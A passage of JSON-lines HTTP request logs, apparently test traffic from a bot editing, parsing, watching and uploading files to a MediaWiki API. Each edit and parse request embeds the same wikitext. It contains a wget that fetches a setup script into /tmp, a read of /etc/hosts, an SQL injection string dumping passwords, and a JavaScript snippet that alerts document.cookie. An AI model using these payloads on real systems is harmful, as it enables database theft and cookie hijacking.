ormat=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=10%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+python3+notes&appendtext=%0A%2A+python3&summary=python3&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1077", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=12%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=8062372fed124f8b8faa3e89a043b2f7"], "body": "--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi python3.png\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of python3\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout python3 and .htaccess\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdpython3\r\n--8062372fed124f8b8faa3e89a043b2f7--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 118", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=14%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+python3+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1599", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=16%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+powershell+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1676", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=16%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+powershell+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 167", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=18%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+powershell+notes&appendtext=%0A%2A+powershell&summary=powershell&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1092", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=20%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=af4292a895f742e1bc67d5fe8c7347bd"], "body": "--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi powershell.png\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of powershell\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout powershell and .htaccess\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api powershell.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdpowershell\r\n--af4292a895f742e1bc67d5fe8c7347bd--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 121", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=22%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+powershell+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1595", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=24%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+ls+-la+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1668", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=24%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 155", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=26%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&appendtext=%0A%2A+ls+-la&summary=ls+-la&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1072", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=28%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=7a53d6d4af2844e59f972f70f639962c"], "body": "--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi ls -la.png\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of ls -la\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout ls -la and .htaccess\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdls -la\r\n--7a53d6d4af2844e59f972f70f639962c--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=30%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+ls+-la+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1598", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1674", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=34%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&appendtext=%0A%2A+.htaccess&summary=.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1087", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=36%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=0451c085f0cd430585e04333efbbfbbf"], "body": "--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi .htaccess.png\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout .htaccess and .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api .htaccess.png\"\r\nContent-Type: 